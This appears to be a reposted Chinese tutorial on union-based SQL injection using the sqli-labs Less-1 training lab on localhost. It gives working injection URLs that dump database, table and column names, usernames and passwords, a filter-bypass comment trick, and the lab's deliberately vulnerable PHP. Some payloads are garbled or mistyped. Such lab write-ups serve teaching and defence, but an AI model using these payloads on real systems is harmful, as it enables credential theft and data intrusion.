SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)
SQL注入介紹
什么是SQL注入:
SQL注入是(SQLi)是一種注入攻擊,可以執(zhí)行惡意的SQL語句,它通過將任意SQL代碼插入數(shù)據(jù)庫查詢,使攻擊者能夠完全控制web應(yīng)用程序后面的數(shù)據(jù)庫服務(wù)器。攻擊者可以使用SQL注入漏洞繞過應(yīng)用程序安全措施;可以繞過網(wǎng)頁或者web應(yīng)用程序的身份驗(yàn)證和授權(quán),并檢索整個(gè)SQL數(shù)據(jù)庫的內(nèi)容;還可以使用SQL注入來添加,修改和刪除數(shù)據(jù)庫中的記錄。
SQL注入的原理:
用戶輸入的數(shù)據(jù)被當(dāng)作代碼拼接到代碼語句里面執(zhí)行,造成一些不可估量的后果
危害:
你的數(shù)據(jù)被別人竊取,甚至被別人全部刪除。
有輸入輸出的地方,就可能存在安全問題
SQL注入基礎(chǔ)
- 一個(gè)可利用的數(shù)據(jù)庫
information_schema - information_schema庫的一些可利用的表
SCHEMATA表
schemata表存儲該用戶創(chuàng)建的所有數(shù)據(jù)庫的庫名。要記住該表中記錄數(shù)據(jù)庫庫名的字段名為SCHEMA_NAME
TABLES表
TABLES表存儲該用戶創(chuàng)建的所有數(shù)據(jù)庫的庫名和表名
?? ?? ?? ??字段名 table_name ?? table_schema
table_name存儲這個(gè)數(shù)據(jù)庫對應(yīng)數(shù)據(jù)庫名的里面的表的值
table_schema是儲存了這個(gè)數(shù)據(jù)庫所有數(shù)據(jù)庫名的字段
COLUMNS表
COLUMNS表存儲該用戶創(chuàng)建的所有數(shù)據(jù)庫的庫名、表名和字段名
?? ?? ?? ??字段名 table_schema ??table_name ??column_name
table_schema存的是數(shù)據(jù)庫里面所有的數(shù)據(jù)庫名
table_name對應(yīng)數(shù)據(jù)庫名的表名
column_name存儲的是對應(yīng)表名的字段名
mysql函數(shù)利用
- 常見的注釋符
#或 - - 空格 或/**/
內(nèi)聯(lián)注釋:
內(nèi)聯(lián)注釋的形式:/*! code /。內(nèi)聯(lián)注釋可以用于整個(gè)SQL語句中,用來執(zhí)行我們的SQL語句
index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3
/**/在mysql中是多行注釋,但是里面如果加了感嘆號!那么后面的內(nèi)容會被執(zhí)行(內(nèi)聯(lián)注釋繞過)
SQL注入的種類:
介紹一些常見的幾種手法吧!
1、union聯(lián)合注入過程
第一步、測試注入點(diǎn)(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數(shù)字型
第二步、利用order by查表的列數(shù)
第三步、如有回顯,找到回顯位(回顯,就是顯示正在執(zhí)行的批處理命令及執(zhí)行的結(jié)果等)
第四步、利用union select 爆庫、爆表、爆字段名、爆值
接下來以sql-lab第一關(guān)來演示一下union聯(lián)合注入
sql-lab第一關(guān):
輸入id=1——》http://127.0.0.1/sqli/Less-1/?id=1
step1、測試注入點(diǎn)(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數(shù)字型
當(dāng)加引號時(shí):http://127.0.0.1/sqli/Less-1/?id=1’——》報(bào)錯(cuò)
當(dāng)單引號后面添加注釋符時(shí):http://127.0.0.1/sqli/Less-1/?id=1%’ - -+(+表示空格) ——》成功,有回顯
從這就可以判斷它是一個(gè)字符型的,并且存在sql注入
step2、利用order by查表的列數(shù)
看一下表回顯的列數(shù),從1開始查起:http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的時(shí)候都會成功回顯(/表示或)
當(dāng)輸入order by 4的時(shí)候:
沒有第四列,所以可以判斷這個(gè)表有三列
step3、如有回顯,找到回顯位(回顯位就是能夠顯示你查詢信息的地方)
利用union select找回顯位:
這里為什么是id=-1?因?yàn)閕d=-1時(shí)返回的是一張空表
然后用union select聯(lián)合查詢1,2,3它也會返回一張1,2,3的表,一張空表和一張帶有1,2,3的表進(jìn)行拼接,就會返回后面這張表(要保證前后兩張表列數(shù)是一樣的,這也是為什么要用order by 查詢這張表有多少列的原因)
可以看到2和3這個(gè)位置可以回顯我們的信息的
step4、利用union select 暴庫、爆表、爆字段名、爆值
先爆庫
利用database()來返回?cái)?shù)據(jù)庫(寫在2或3的位置上都可以)
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+
如果寫成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database(),3 --+
可以發(fā)現(xiàn)它的數(shù)據(jù)庫是security,找到它數(shù)據(jù)庫名字之后,再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
由上圖可知security這個(gè)數(shù)據(jù)庫存放了emails,referers,uagents, users這四張表
下面看一看users這個(gè)表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+
由上圖可以發(fā)現(xiàn)user表中字段名有id,username,password
最后就是去爆這些字段名的數(shù)據(jù)(對應(yīng)的值)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下圖可知有這些用戶名
同理要找密碼的話:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+
打開第一關(guān)后端語言的代碼分析一下吧!
MYSQL中g(shù)roup_concat()/concat()/concat_ws/substr()函數(shù)
注意start是從1開始的
打開index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-1 **Error Based- String**</title> </head><body bgcolor="#000000"> <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"><?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; } }else { echo "Please input the ID as parameter with numeric value";}?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>沒有對用戶輸入的id進(jìn)行過濾,導(dǎo)致我們想輸入什么就輸入什么
當(dāng)輸入id=-1’的時(shí)候把單引號閉合了
$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面語句中紅色部分是我們傳進(jìn)去的值: $ id后面的那個(gè)單引號和前面那個(gè)單引號形成閉合, #將后面部分注釋
防御措施
1、過濾危險(xiǎn)字符
2、做到數(shù)據(jù)和代碼分離
2、時(shí)間盲注
3、布爾盲注
4、堆疊注入
5、通過sql注入寫webshell
總結(jié)
以上是生活随笔為你收集整理的SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 氮化镓 服务器电源管理系统报价,基于氮化
- 下一篇: oracle中的nls在哪,Oracle